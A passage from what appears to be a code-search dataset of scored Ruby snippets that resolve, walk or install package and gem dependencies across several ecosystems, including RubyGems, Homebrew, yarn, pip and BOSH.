"text": "def find_dependencies_of(gem_name, all_gems)\n\n dependencies = []\n loop do\n begin\n dependencies = Gems.dependencies(gem_name)\n break\n rescue => e\n # RubyGems.org isn't stable all the time. It can become \n # unreachable sometimes. We retry if that happens.\n puts \"caught exception when calling RubyGems.org: #{e}, retry...\"\n end\n end\n\n dependencies.each do |h|\n version = h[:number]\n consumer = NameAndVersion.new(gem_name, version)\n\n h[:dependencies].each do |dep|\n dep_name = dep[0]\n dep_version = dep[1]\n dep_gem_key = NameAndVersion.new(dep_name, dep_version)\n dep_gem = all_gems[dep_gem_key] || GemNode.new(dep_name, dep_version)\n dep_gem.add_consumer(consumer)\n\n all_gems[dep_gem_key] = dep_gem\n end\n end\n end",
"title": ""
},
{
"docid": "d1d0eb9f50db823899348ac304664c25",
"score": "0.53573364",
"text": "def depends(name)\n return nil if checked?(name)\n\n pkg = CGI::escape(name)\n pkgbuild = Aur.new(\"/packages/#{pkg.slice(0,2)}/#{pkg}/PKGBUILD\").fetch\n deps = Parser.new(pkgbuild).parse!\n\n pacman_T deps\n\n rescue NetworkError => ex\n debug(\"#{name}, network error: #{ex}\")\n\n nil\n end",
"title": ""
},
{
"docid": "41a12f4a6209cbb3301a0e0c5680ed02",
"score": "0.53550684",
"text": "def each(&block)\n content_dependency_graph = Nanoc::DirectedGraph.new(@reps)\n\n loop do\n # Find rep\n break if content_dependency_graph.roots.empty?\n rep = content_dependency_graph.roots.each { |e| break e }\n\n # Handle rep\n begin\n block.call(rep)\n content_dependency_graph.delete_vertex(rep)\n rescue Nanoc::Errors::UnmetDependency => e\n content_dependency_graph.add_edge(e.rep, rep)\n unless content_dependency_graph.vertices.include?(e.rep)\n content_dependency_graph.add_vertex(e.rep)\n end\n end\n end\n\n # Check whether everything was handled\n if !content_dependency_graph.vertices.empty?\n raise Nanoc::Errors::RecursiveCompilation.new(content_dependency_graph.vertices)\n end\n end",
"title": ""
},
{
"docid": "415fc605b8ed23f231fa560f45487bf5",
"score": "0.53444856",
"text": "def traverse(root)\n return nil if $added[root]\n\n deps = DEPENDENCIES[root]\n unless deps.nil? || deps == []\n deps.each do |child| \n traverse(child)\n end \n end\n\n $manifest.push(root)\n $added[root] = true\nend",
"title": ""
},
{
"docid": "56a6a40a96dad9269da1808780adf722",
"score": "0.5341066",
"text": "def recursive_dependencies\n result = []\n queue = dependencies.dup\n until queue.empty?\n pr = queue.shift\n next if result.include?(pr) || pr == self\n\n result << pr\n queue.concat(pr.dependencies)\n end\n\n result\n end",
"title": ""
},
{
"docid": "b965fb89a8a7342cc3ac6ea2c1c3c424",
"score": "0.5340844",
"text": "def recursive_dependencies(pkginfo)\n\n all_required_pkginfos = pkginfo.required_rock_packages\n\n all_recursive_deps = {:rock => [], :osdeps => [], :nonnative => [], :extra_gems => []}\n all_required_pkginfos.each do |pkginfo|\n pdep = filtered_dependencies(pkginfo)\n pdep.keys.each do |k|\n all_recursive_deps[k].concat pdep[k]\n end\n end\n all_recursive_deps.each_value { |a| a.uniq! }\n\n if !all_recursive_deps[:nonnative].empty?\n all_recursive_deps[:nonnative] = GemDependencies::resolve_all(all_recursive_deps[:nonnative])\n end\n recursive_deps = all_recursive_deps.values.flatten.uniq\n end",
"title": ""
},
{
"docid": "f41271758783823b0f1ab6729096631d",
"score": "0.5325718",
"text": "def each_forward_dependency(&block)\n forward_dependencies.each(&block)\n end",
"title": ""
},
{
"docid": "80f9f2aa64ae5cb935f5c28ec076dde4",
"score": "0.5325685",
"text": "def diagrammatical_output\n diagram = \"digraph leaves_diagram {\\n\"\n Gem::Specification.all.each do |g|\n if @options[:reverse]\n g.dependent_gems.each {|d| diagram << %Q( \"#{d[0].full_name}\" -> \"#{g.full_name}\"\\n)}\n else\n g.dependent_gems.each {|d| diagram << %Q( \"#{g.full_name}\" -> \"#{d[0].full_name}\"\\n)}\n end\n if g.dependent_gems.empty?\n str = %Q( \"#{g.full_name}\")\n if @leaves.include?(g)\n str += %Q( [color=\"##{@options[:color]}\", style=filled]\\n)\n else\n str += \"\\n\"\n end\n diagram << str\n end\n end\n diagram << \"}\"\n puts diagram\n end",
"title": ""
},
{
"docid": "9e5b158af9869a3bce29f72cdc4d735f",
"score": "0.53171766",
"text": "def enumerate_dependencies\n reference_keys.map do |reference_key|\n package_id_parts = reference_key.partition(\"/\")\n name = package_id_parts[0]\n version = package_id_parts[-1]\n id = \"#{name}-#{version}\"\n\n path = full_dependency_path(reference_key)\n error = \"Package #{id} path was not found in project.assets.json, or does not exist on disk at any project package folder\" if path.nil?\n\n NuGetDependency.new(\n name: id,\n version: version,\n path: path,\n errors: Array(error),\n metadata: {\n \"type\" => NuGet.type,\n \"name\" => name\n }\n )\n end\n end",
"title": ""
},
{
"docid": "aa0839fb235fcaa635dad8830964cbb4",
"score": "0.5310236",
"text": "def dependencies(&block)\n @dependencies.collect do |name, dependency|\n version = dependency[1]\n dependency = dependency[0].new(@install_dir)\n block.call(dependency, version) if block\n [dependency, version]\n end\n end",
"title": ""
},
{
"docid": "c4e3e798cb15b35ea72c6984fb166ab0",
"score": "0.5290676",
"text": "def dependent_gems\n out = []\n Gem.source_index.each do |name,gem|\n gem.dependencies.each do |dep|\n if self.satisfies_requirement?(dep) then\n sats = []\n find_all_satisfiers(dep) do |sat|\n sats << sat\n end\n out << [gem, dep, sats]\n end\n end\n end\n out\n end",
"title": ""
},
{
"docid": "fbdf0f7a629d5274965a133795079a7a",
"score": "0.5289094",
"text": "def enumerate_task_dependencies\n DependencyAdditions.each do | addition |\n task = Task.find_by_name(addition[:task])\n next if task.nil?\n addition[:dependencies].each do | dependency |\n dependent_task = Task.find_by_name(dependency)\n next if dependent_task.nil?\n # call yield to execute the code from the block\n yield(task, dependent_task)\n end\n end\n end",
"title": ""
},
{
"docid": "1b77190dc77642e9fbef40523aee6dbc",
"score": "0.52743137",
"text": "def dependencies_on_system(node)\n node_dependencies = []\n nodes_except(node).each do |n|\n is_dependant, dep_list = node.depends_on?(n)\n node_dependencies << [n, dep_list] if is_dependant\n end\n node_dependencies\n end",
"title": ""
},
{
"docid": "0b48dd57b3cbdee761b4e968b70ea262",
"score": "0.5254646",
"text": "def add_recursive_dependencies(dependency)\n dependency.cached_cookbook.dependencies.each do |name, constraint|\n next if has_dependency?(name)\n\n add_dependency(Berkshelf::Dependency.new(berksfile, name, constraint: constraint))\n end\n end",
"title": ""
},
{
"docid": "2638c121458ff51408538ad7158ceaa2",
"score": "0.5251126",
"text": "def packages\n # parse all lines of output to json and find one that is \"type\": \"tree\"\n yarn_info = JSON.parse(\"[#{yarn_info_command.lines.join(\",\")}]\")\n mapped_packages = yarn_info.reduce({}) do |accum, package|\n name, _ = package[\"value\"].rpartition(\"@\")\n version = package.dig(\"children\", \"Version\")\n id = \"#{name}@#{version}\"\n\n accum[name] ||= []\n accum[name] << {\n \"id\" => id,\n \"name\" => name,\n \"version\" => version,\n \"homepage\" => package.dig(\"children\", \"Manifest\", \"Homepage\"),\n \"path\" => dependency_paths[id]\n }\n accum\n end\n\n mapped_packages.each_with_object({}) do |(name, results), hsh|\n results.uniq! { |package| package[\"version\"] }\n if results.size == 1\n # if there is only one package for a name, reference it by name\n hsh[name] = results[0]\n else\n # if there is more than one package for a name, reference each by id\n results.each do |package|\n hsh[package[\"id\"]] = package\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f5b376ac3da05c9e5f5dcc9fdeda06f3",
"score": "0.52491283",
"text": "def declared_dependencies(ast)\n raise_unless_xpath!(ast)\n\n # String literals.\n #\n # depends 'foo'\n deps = ast.xpath(%q{//command[ident/@value='depends']/\n descendant::args_add/descendant::tstring_content[1]})\n\n # Quoted word arrays are also common.\n #\n # %w{foo bar baz}.each do |cbk|\n # depends cbk\n # end\n deps = deps.to_a +\n word_list_values(ast, \"//command[ident/@value='depends']\")\n deps.uniq.map { |dep| dep['value'].strip }\n end",
"title": ""
},
{
"docid": "b7905d7802656784d72bb7fee182b43c",
"score": "0.52390975",
"text": "def walk_dependencies(seen=Set.new)\n Enumerator.new do |yielder|\n if seen.include?(name)\n seen << name\n raise ArgumentError.new(\"Circular template dependency: #{seen.to_a.join(\" => \")}\")\n end\n seen << name\n\n dependencies.each do |dep|\n\n dep = dep.dup\n dep.context.merge!(context)\n dep.walk_dependencies(seen.dup).each do |d|\n yielder << d\n end\n end\n yielder << dup\n end\n end",
"title": ""
},
{
"docid": "6d0f4dd9fcea5e13c7018de00f9f728f",
"score": "0.5237164",
"text": "def dependencies(names)\n names.each do |name|\n calculation = fetch(name, nil)\n next unless calculation\n\n calculation.dependencies.each do |dependency|\n names << dependency unless names.include?(dependency)\n end\n end\n end",
"title": ""
},
{
"docid": "82039da7974aa98c1ed506e8a4d59e73",
"score": "0.5232986",
"text": "def all_dependencies\n recursive_fetch(self.name)\n while !@futures.keys.empty?\n sleep 0.02\n end\n @all_dependencies.keys - [self.name] # just need to remove initial \n end",
"title": ""
},
{
"docid": "0be496d2575f908c7f504bad61b551d0",
"score": "0.52303046",
"text": "def scan_deps\n\tpat = /^([^:]+):(.+)$/\n\tname = ''\n\tdeps = []\n\tIO.popen('port info --name --pretty --depends installed') do |f|\n\t\tf.each_line do |l|\n\t\t\tcase l\n\t\t\t\twhen /^--$/\n\t\t\t\t\tyield name, deps\n\t\t\t\t\tname = ''\n\t\t\t\t\tdeps = []\n\t\t\t\twhen /^([^:]+):(.+)$/\n\t\t\t\t\tif 'name' == \"#$1\"\n\t\t\t\t\t\tname = \"#$2\".strip\n\t\t\t\t\telse\n\t\t\t\t\t\tdeps.concat(\"#$2\".split(/\\s*,\\s*/))\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\traise \"Fall-through for '#{l}'\"\n\t\t\tend\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "48864408cfd409c7480fa093b1b17a07",
"score": "0.52236396",
"text": "def assign_dependencies\n\t\t@nodes.each do |node|\n\t\t\tnode.depends_on.each do |dependent_job|\n\t\t\t\tdependent_node = @nodes.find{ |d| d.name == dependent_job.name }\n\t\t\t\traise \"Could not find node with name '#{dependent_job.name}' in dag!\" if dependent_node.nil?\n\t\t\t\tdependent_node.add_is_dependency_for node\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "35d1e89c88f87a76801473137803d055",
"score": "0.52235144",
"text": "def recursive_dependencies(package_names, results = Set.new)\n return results if package_names.nil? || package_names.empty?\n\n new_packages = Set.new(package_names) - results\n return results if new_packages.empty?\n\n results.merge new_packages\n\n dependencies = Parallel.map(new_packages, &method(:package_dependencies)).flatten\n\n recursive_dependencies(dependencies, results)\n results\n end",
"title": ""
},
{
"docid": "ca05648c237743e9ba7363473c2d554a",
"score": "0.5220126",
"text": "def flatten_deps(deps)\n work = [].concat(deps)\n expanded = {}\n output = {}\n while !work.empty?\n dep = work.last\n if expanded[dep]\n output[dep] = true\n work.pop\n else\n expanded[dep] = true\n deps = yield dep\n work.concat(deps)\n end\n end\n output.keys # relies on Ruby's ordered hashes\nend",
"title": ""
},
{
"docid": "f02c94b0e27b9f879ff65f4bf0514d2a",
"score": "0.5203359",
"text": "def deps\n # Get all dependencies\n deps = Shell.call(%(go list -f '{{join .Deps \"\\\\n\"}}' #{@targets.join(' ')})).strip.split\n # Remove standard library\n Shell.call(\"go list std\").strip.split.each do |pkg|\n deps.delete(pkg)\n end\n\n deps\n end",
"title": ""
},
{
"docid": "09ecf57a5898c464fac7a05c4801c814",
"score": "0.5203018",
"text": "def build_tree(keg_name, ignored_kegs=[], args: )\n # List used to save the status of all dependency packages\n wont_remove_because = {}\n\n ohai \"Examining installed formulae required by #{keg_name}...\"\n show_wait_spinner{\n\n # Convert the keg_name the user provided into homebrew formula\n f = as_formula(keg_name)\n\n # Get the complete list of dependencies and convert it to just keg names\n dep_arr = dependency_tree_as_keg_names(keg_name, args: args)\n dep_set = dep_arr.to_set\n\n # For each possible dependency that we want to remove, check if anything\n # uses it, which is not also in the list of dependencies. That means it\n # isn't safe to remove.\n dep_arr.each do |dep|\n\n # Set the progress text for spinner thread\n set_spinner_progress \" #{wont_remove_because.size} / #{dep_arr.length} \"\n\n # Save the list of formulae that use this keg and aren't in the tree\n # of dependencies to be removed\n wont_remove_because[dep] = still_used_by(dep, f, dep_set, args: args)\n\n # Allow user to keep dependencies that aren't used anymore by saying\n # something phony uses it\n if ignored_kegs.include?(dep)\n if wont_remove_because[dep].empty?\n wont_remove_because[dep] << \"ignored\"\n end\n end\n\n # Revisit any formulae already visited and related to this dependency\n # because at the time they didn't have this new information\n if cant_remove(wont_remove_because[dep])\n # This dependency can't be removed. Users and dependencies need to be reconsidered.\n revisit_neighbors(dep, f, dep_set, wont_remove_because, args: args)\n end\n\n set_spinner_progress \" #{wont_remove_because.size} / #{dep_arr.length} \"\n end\n }\n print \"\\n\"\n return wont_remove_because\n end",
"title": ""
},
{
"docid": "c3693a5ed38416171d8623ba4081441b",
"score": "0.5195029",
"text": "def orphaned_dependencies(keg_name)\n bash(\"join <(sort <(#{brew_path} leaves)) <(sort <(#{brew_path} deps #{keg_name}))\").split(\"\\n\")\n end",
"title": ""
},
{
"docid": "d6f3ef8fad55a6aecc3c87431bee8031",
"score": "0.5191327",
"text": "def all_deps(specs)\n result = Set[]\n\n specs.each do |spec|\n spec.dependencies.each do |dep|\n name = dep.name.sub(/\\/.*/, '')\n result.add(name)\n end\n end\n\n result = result.to_a\n trace(' deps', *result)\n return result\nend",
"title": ""
},
{
"docid": "52f06c4faa509ab177279534e36cbc4b",
"score": "0.51848",
"text": "def generate\n Puppet.debug \"Adding relationships for Parallel_packages[#{self[:name]}]\"\n builddepends.each do |relationship|\n Puppet.debug \" #{relationship.ref} (#{relationship.event})\"\n catalog.relationship_graph.add_edge(relationship)\n end\n []\n end",
"title": ""
},
{
"docid": "63d37f5042fce54b72140018bf8ee68f",
"score": "0.51714164",
"text": "def expand_dependencies(obj)\n if obj[:is_leaf] \n rough_deps = obj.delete(:deps)\n real_deps = []\n\n rough_deps.each do |dep|\n # we're considering a dep like \"dbug.js\" or \"../../mootools\" or \"Browser/IframeShim.js\",\n # and we need to convert that into an array of object references to other files.\n # \"dbug.js\" => [the dbug.js hash]\n # \"../../mootools\" => [for each js hash in mootools folder, the js hash]\n real_deps.concat(collect_real_deps(obj, \"../#{dep}\"))\n end\n\n obj[:real_deps] = real_deps\n\n else\n each_resource(obj) do |item, props|\n expand_dependencies(props)\n end\n end\n end",
"title": ""
},
{
"docid": "681ef7d359f61545020a92bc79e0dd4e",
"score": "0.5169271",
"text": "def each_start_dependency(&block)\n return unless @start_dependencies\n @start_dependencies.each(&block)\n end",
"title": ""
},
{
"docid": "a6cdae2a14b27841193f3dd7c98a5070",
"score": "0.5168073",
"text": "def generate_dependencies_info\n components.each_with_object({}) do |component, hsh|\n hsh.merge!(component.get_dependency_hash)\n end\n end",
"title": ""
},
{
"docid": "0618f8ff313bb44b2a27a800d8016194",
"score": "0.5152007",
"text": "def get_all_depends(origin, parents_list = nil)\n if $use_packages_only\n depends_vars = %w{LIB_DEPENDS RUN_DEPENDS}\n else\n depends_vars = %w{FETCH_DEPENDS EXTRACT_DEPENDS PATCH_DEPENDS\n\t\t BUILD_DEPENDS LIB_DEPENDS RUN_DEPENDS}\n end\n\n unless $depends.has_key?(origin)\n depends = Set.new\n\n portdir = $portsdb.portdir(origin)\n return [] if not File.directory?(portdir)\n\n begin\n run_make_config(portdir, origin) if $config and !$use_packages_only\n rescue => e\n raise e if e.class == PkgDB::NeedsPkgNGSupport\n puts \"#{e.message}. Ignored.\"\n end\n\n first = false\n if parents_list.nil?\n parents_list = Set.new\n STDERR.print \"[Gathering depends for #{origin} \"\n first = true\n elsif $verbose\n STDERR.print \"(#{origin})\"\n end\n raise RecursiveDependencyError if parents_list.include?(origin)\n parents_list.add(origin)\n\n make_env = get_make_env(origin)\n cmdargs = make_env << 'make'\n\n cmdargs.concat(get_make_args(origin))\n\n `cd #{portdir} && #{shelljoin(*cmdargs)} -V #{depends_vars.join(' -V ')}`.each_line do |line|\n\tline.split(/\\s+/).each do |dep|\n\t dep.sub!(/.*?:/,'')\n\t if dep.rindex(':') != nil\n\t (dep, target) = dep.split(':')\n\t next if target != \"install\"\n\t end\n\t depends.add($portsdb.strip(dep)) if !dep.empty?\n\tend\n end\n\n STDERR.print '.'*depends.length if depends.length > 0\n\n children_deps = Set.new\n depends.each do |dep|\n children_deps.merge(get_all_depends(dep, parents_list)) if !dep.nil?\n end\n if !children_deps.nil?\n depends.merge(children_deps)\n end\n\n STDERR.puts ' done]' if first\n $depends[origin] = depends.to_a.compact\n else\n $depends[origin]\n end\nend",
"title": ""
},
{
"docid": "e81fb507a4d0656f5fcf72220fd00b4b",
"score": "0.514961",
"text": "def fetch_dependencies()\n\t\"bin/librarian-chef install --clean #{(@debug ? '--verbose' : '--quiet')}\"\n end",
"title": ""
},
{
"docid": "0ce3175edb0c142c3d37366b5c1fff87",
"score": "0.5148096",
"text": "def resolve\n if not @dependencies\n @dependencies = parse_dependencies(File.read(@file))\n for dependency in @dependencies\n @dependencies = @dependencies + recurse_dependency(dependency)\n end\n end\n return @dependencies\n end",
"title": ""
},
{
"docid": "4e5702d001ec6edfba49efb8132c1879",
"score": "0.5145206",
"text": "def dependencies_per_subtree\n collect_dependencies = []\n descendants.each do |node|\n next if node.calculated_subtrees.empty?\n collect_dependencies << node.calculated_subtrees.values\n end\n collect_dependencies.flatten(1).map {|x| x if x.size > 1}.compact\n end",
"title": ""
},
{
"docid": "0eca319db1f4a1add3be106d21d68ab3",
"score": "0.5140287",
"text": "def lockfile_dependencies\n dependencies = DependencySet.new\n\n DEPENDENCY_GROUP_KEYS.map { |h| h.fetch(:lockfile) }.each do |key|\n next unless parsed_lockfile[key]\n\n parsed_lockfile[key].each do |dep_name, details|\n next unless details[\"version\"]\n\n dependencies <<\n Dependency.new(\n name: dep_name,\n version: details[\"version\"]&.gsub(/^===?/, \"\"),\n requirements: [],\n package_manager: \"pip\"\n )\n end\n end\n\n dependencies\n end",
"title": ""
},
{
"docid": "cc4e75946606f0ce5bd7835f9b892316",
"score": "0.51398736",
"text": "def leaves(filename)\n dependencies = Set.new\n packages_input = Set.new\n file = File.new( filename, \"r\" )\n\n begin\n counter = 0\n while package = file.gets\n packages_input.add(package.chomp)\n end\n\n packages_input.each do |package|\n packages_input -= find_dependence(package.chomp)\n STDOUT.write \"\\r#{counter += 1}\"\n end\n puts\n\n ensure\n file.close\n end\n\n return packages_input\nend",
"title": ""
},
{
"docid": "88343e112beb9b6e393acfb843cd22a1",
"score": "0.5139505",
"text": "def resolve_dependencies\n @dependencies.each { |d| d.resolve_prerequisite }\n end",
"title": ""
},
{
"docid": "e8c2a230c66a39be5b6516af2de33cc4",
"score": "0.51385844",
"text": "def get_deps\n\t\t\t\tget_pkgs\n\t\t\t\tsolve_conflict_pkgs\n\t\t\t\t@pkgsdep={}\n\t\t\t\t#the packages we want\n\t\t\t\t@pkgs_list.each do |ptype,targetpackages|\n\t\t\t\t\tgroups=@ourpkgs[ptype][:groups] || {}\n\t\t\t\t\t#the packages that are not considered extra packages\n\t\t\t\t\textraok=@packages[ptype][:extra_ok].to_a||[]\n\t\t\t\t\texpectedpackages=targetpackages+extraok\n\t\t\t\t\texpectedpackages+=groups.values_at(*groups.keys.select {|g| expectedpackages.include?(g)}).flatten.compact.uniq\n\t\t\t\t\t#the packages we \"have\"\n\t\t\t\t\tallpackages=(@ourpkgs[ptype][:all].to_a||[])\n\t\t\t\t\tmissingok=@packages[ptype][:missing_ok].to_a||[]\n\t\t\t\t\tourpackages=allpackages+missingok\n\n\t\t\t\t\tgmissing={}\n\t\t\t\t\tgroups.each_key do |g|\n\t\t\t\t\t\tif targetpackages.include?(g) then\n\t\t\t\t\t\t\tgroups[g].each do |i|\n\t\t\t\t\t\t\t\t(gmissing[g]||=Set.new) << i unless ourpackages.include?(i)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tpmissing={}\n\t\t\t\t\t@pkgs[ptype].each do |g,pkgs|\n\t\t\t\t\t\tpkgs.each do |i|\n\t\t\t\t\t\t\t(pmissing[g]||=Set.new) << i unless ourpackages.include?(i) or groups.include?(i)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tallmissing=(gmissing.values+pmissing.values).reduce(Set.new, :union)||Set.new\n\t\t\t\t\tunused=@ourpkgs[ptype][:unused]\n\t\t\t\t\tallextra=(@ourpkgs[ptype][:top]||[])-expectedpackages.to_a\n\t\t\t\t\textrapkgs=allextra.dup\n\t\t\t\t\textrapkgs-=unused if unused\n\t\t\t\t\t#note: a package can be in unused without being in allextra, if\n\t\t\t\t\t#we did not install it by hand. It will be 'wrongly' removed by\n\t\t\t\t\t#rm-unused, but not by rm\n\t\t\t\t\t@pkgsdep[ptype]={missing_pkgs: pmissing, missing_groups: gmissing, missing: allmissing, extra: extrapkgs, unused: unused, allextra: allextra, expected: expectedpackages, extra_ok_missing: extraok-allpackages, missing_ok_missing: missingok-allpackages, extra_ok_present: extraok & allpackages, missing_ok_present: missingok & allpackages}\n\t\t\t\tend\n\t\t\t\t@pkgsdep\n\t\t\tend",
"title": ""
},
{
"docid": "52a1dd80e0da2213bf747ebde4f4dbd8",
"score": "0.51316476",
"text": "def nested_dependency_info(base_install_dir)\n yaml_output = `puppet module list --tree --render-as yaml --modulepath #{base_install_dir}`\n all_imported = YAML.load(yaml_output).values.flatten\n all_imported.inject({}) do |h, puppet_module|\n normalized_dependencies = []\n puppet_module.dependencies.each do |deps|\n\n dependency_name = deps['name']\n # incosistency in puppetlabs meta, is manually fixed here\n dependency_name.gsub!('puppetlabs-', 'puppetlabs/')\n dependency_name.gsub!('camptocamp-', 'camptocamp/')\n matching = all_imported.detect { |imported| imported.forge_name.eql?(dependency_name) }\n\n normalized_dependencies << {\n # have to set 'module' and 'path' to be able to successfully create dependency\n 'module' => matching.forge_name.gsub('/', '-'),\n 'version' => matching.version,\n 'path' => matching.modulepath\n }\n end\n h.merge(puppet_module.forge_name => normalized_dependencies)\n end\n end",
"title": ""
},
{
"docid": "65c3cb47fb0400ffed10e8280608ba0d",
"score": "0.5123759",
"text": "def depends\n depends = @packages.map(&:depends).inject(:merge)\n @packages.map(&:name).each do | n |\n depends.delete(n)\n end\n return depends\n end",
"title": ""
},
{
"docid": "85badfed2bf143ae54e68cccda009360",
"score": "0.5116932",
"text": "def declared_dependencies(ast)\n deps = ast.xpath(\"//command[ident/@value='depends']/descendant::args_add/descendant::tstring_content\")\n # handle quoted word arrays\n var_ref = ast.xpath(\"//command[ident/@value='depends']/descendant::var_ref/ident\")\n deps += ast.xpath(%Q{//block_var/params/ident#{var_ref.first['value']}/ancestor::method_add_block/\n call/descendant::tstring_content}) unless var_ref.empty?\n deps.map{|dep| dep['value']}\n end",
"title": ""
},
{
"docid": "70cc3c9a17a1a2bde884e612e3e628cd",
"score": "0.51163286",
"text": "def remove_unfulfilled_dependencies(leaf, raise_on_missing = true, processed = {})\n tree.dependencies.each do |package, dependency|\n dependency.versions.select! do |version, leaf|\n if processed[version]\n true\n else\n processed[version] = true\n\n # Remove unfulfilled transitive dependencies\n remove_unfulfilled_dependencies(leaf, false, processed)\n valid = true\n leaf.dependencies.each do |k, v|\n valid = false if v.versions.empty?\n end\n valid\n end\n end\n if dependency.versions.empty? && raise_on_missing\n error(\"No valid version found for package #{package}\")\n end\n end\n end",
"title": ""
},
{
"docid": "8d626076c59030d5befc0c5d110a232d",
"score": "0.51108646",
"text": "def check_all\n all_deps = {}\n Gem::Specification.find_all.each do |spec|\n gem_deps = check(spec)\n all_deps.merge! gem_deps unless gem_deps.empty?\n end\n \n all_deps\n end",
"title": ""
},
{
"docid": "e1c51a6c355f731c731e3557361e54d2",
"score": "0.5110836",
"text": "def solve_dependency_hash(dependency_hash)\n result = dependency_hash.each_with_object({}) do |(gem_names, dependencies), values|\n Array(gem_names).each do |gem_name|\n values[gem_name.to_s] = dependencies\n end\n end\n\n until (gems_to_postprocess = result.select { |_gem_name, dependencies| dependencies[:gems] }).empty?\n gems_to_postprocess.each do |gem_name, dependencies|\n # We could already be done since multiple gems can have a reference to the same dependencies, when specified as an array of keys in GEM_DEPENDENCIES\n next unless dependencies[:gems]\n\n # Add the dependencies' dependencies, be they gems or packages\n dependencies[:gems].dup.each do |dep_name|\n result[gem_name][:gems].delete(dep_name)\n result[gem_name][:gems] += result[dep_name][:gems] if result[dep_name][:gems]\n result[gem_name].deep_merge!(result[dep_name])\n end\n\n result[gem_name].delete :gems\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "2dcb79a23dd5325b5ab4283de494ee9e",
"score": "0.51062727",
"text": "def resolve_package_dependencies(packages)\n packages_by_name = {}\n packages.each do |package|\n packages_by_name[package['name']] = package\n package['dependencies'] ||= []\n end\n logger.info(\"Resolving package dependencies for #{packages_by_name.keys.inspect}\")\n\n dependency_lookup = lambda do |package_name|\n packages_by_name[package_name]['dependencies']\n end\n result = Bosh::Director::CycleHelper.check_for_cycle(packages_by_name.keys, connected_vertices: true, &dependency_lookup)\n\n packages.each do |package|\n name = package['name']\n dependencies = package['dependencies']\n all_dependencies = result[:connected_vertices][name]\n logger.info(\"Resolved package dependencies for '#{name}': #{dependencies.pretty_inspect} => #{all_dependencies.pretty_inspect}\")\n end\n end",
"title": ""
},
{
"docid": "2dcb79a23dd5325b5ab4283de494ee9e",
"score": "0.51062727",
"text": "def resolve_package_dependencies(packages)\n packages_by_name = {}\n packages.each do |package|\n packages_by_name[package['name']] = package\n package['dependencies'] ||= []\n end\n logger.info(\"Resolving package dependencies for #{packages_by_name.keys.inspect}\")\n\n dependency_lookup = lambda do |package_name|\n packages_by_name[package_name]['dependencies']\n end\n result = Bosh::Director::CycleHelper.check_for_cycle(packages_by_name.keys, connected_vertices: true, &dependency_lookup)\n\n packages.each do |package|\n name = package['name']\n dependencies = package['dependencies']\n all_dependencies = result[:connected_vertices][name]\n logger.info(\"Resolved package dependencies for '#{name}': #{dependencies.pretty_inspect} => #{all_dependencies.pretty_inspect}\")\n end\n end",
"title": ""
},
{
"docid": "a4d2eca21156d08d4542743ff43865fd",
"score": "0.5105321",
"text": "def installDepsList(deps)\n os = getLinuxOS\n\n # TODO: if we used some terminal redirecting or something these\n # might be possible to not have to use the \"automatic yes\" options\n\n if os == 'fedora' || os == 'centos' || os == 'rhel'\n\n if HasDNF\n askRunSudo 'sudo', 'dnf', 'install', '-y', *deps\n else\n askRunSudo 'sudo', 'yum', 'install', '-y', *deps\n end\n\n return\n end\n\n if os == 'ubuntu'\n\n askRunSudo 'sudo', 'apt-get', 'install', '-y', *deps\n\n return\n end\n\n if os == 'arch'\n\n askRunSudo 'sudo', 'pacman', '-S', '--noconfirm', *deps\n\n return\n end\n\n if os == 'opensuse'\n\n askRunSudo 'sudo', 'zypper', 'in', '-y', *deps\n\n return\n end\n\n onError \"unkown linux os '#{os}' for package manager installing \" \\\n \"dependencies: #{deps.join(' ')}\"\nend",
"title": ""
},
{
"docid": "6545225e3c80d7f2d9ba8422b3857dbf",
"score": "0.5100112",
"text": "def recursive_dependencies(package_names, results = Set.new)\n return [] if package_names.nil? || package_names.empty?\n\n new_packages = Set.new(package_names) - results.to_a\n return [] if new_packages.empty?\n\n results.merge new_packages\n\n dependencies = new_packages.flat_map { |n| package_dependencies(n) }\n .compact\n\n return results if dependencies.empty?\n\n results.merge recursive_dependencies(dependencies, results)\n end",
"title": ""
},
{
"docid": "4e35b05da8847a8b00eb1693553d2a05",
"score": "0.50915045",
"text": "def resolve\n demands = [].tap do |l_demands|\n graph.artifacts.each do |artifact|\n l_demands << [ artifact.name, artifact.version ]\n end\n end\n\n solution = Solve.it!(graph, demands)\n\n [].tap do |cached_cookbooks|\n solution.each do |name, version|\n cached_cookbooks << get_source(name).cached_cookbook\n end\n end\n end",
"title": ""
},
{
"docid": "40973e3f6b1991e02ecf81b9b3bcf938",
"score": "0.5090519",
"text": "def dependancy_tree(dependancies)\n tree = []\n while !dependancies.empty?\n branch = [dependancies[0][0]]\n dependancies.each do |dependancy|\n if dependancy[0] == branch.last\n branch << dependancy[1]\n dependancies.delete(dependancy)\n end\n end\n tree << branch\n end\n return tree\n end",
"title": ""
},
{
"docid": "ab799306f5e45c63595fbac959709577",
"score": "0.5090197",
"text": "def resolve_dependencies(remaining, ordered=[])\n if remaining.empty?\n ordered\n elsif next_spec = remaining.find { |spec| resolved?(ordered, spec) }\n resolve_dependencies(remaining - [next_spec], ordered + [next_spec])\n else\n puts \"** ERROR: Could not resolve dependencies. Remaining specifications are:\"\n remaining.each do |spec|\n puts \" - %s/%s\" % [spec.organization, spec.application]\n end\n exit(1)\n end\nend",
"title": ""
},
{
"docid": "8100e580bf99d30fd386832a4224c564",
"score": "0.5082562",
"text": "def recursive_specs_for_deps(deps, seen = {})\n new_specs = specs_for_deps(deps).reject {\n |spec| seen.has_key? spec.name\n }\n seen.merge! Hash[new_specs.map { |spec| [spec.name, spec] }]\n new_deps = new_specs.map(&:dependencies).flatten.compact.uniq(&:name).reject { |dep|\n seen.has_key? dep.name\n }\n return seen unless new_deps.present?\n recursive_specs_for_deps new_deps, seen\n end",
"title": ""
},
{
"docid": "d799a2eaa6073af57d63f04376d9c17f",
"score": "0.5080171",
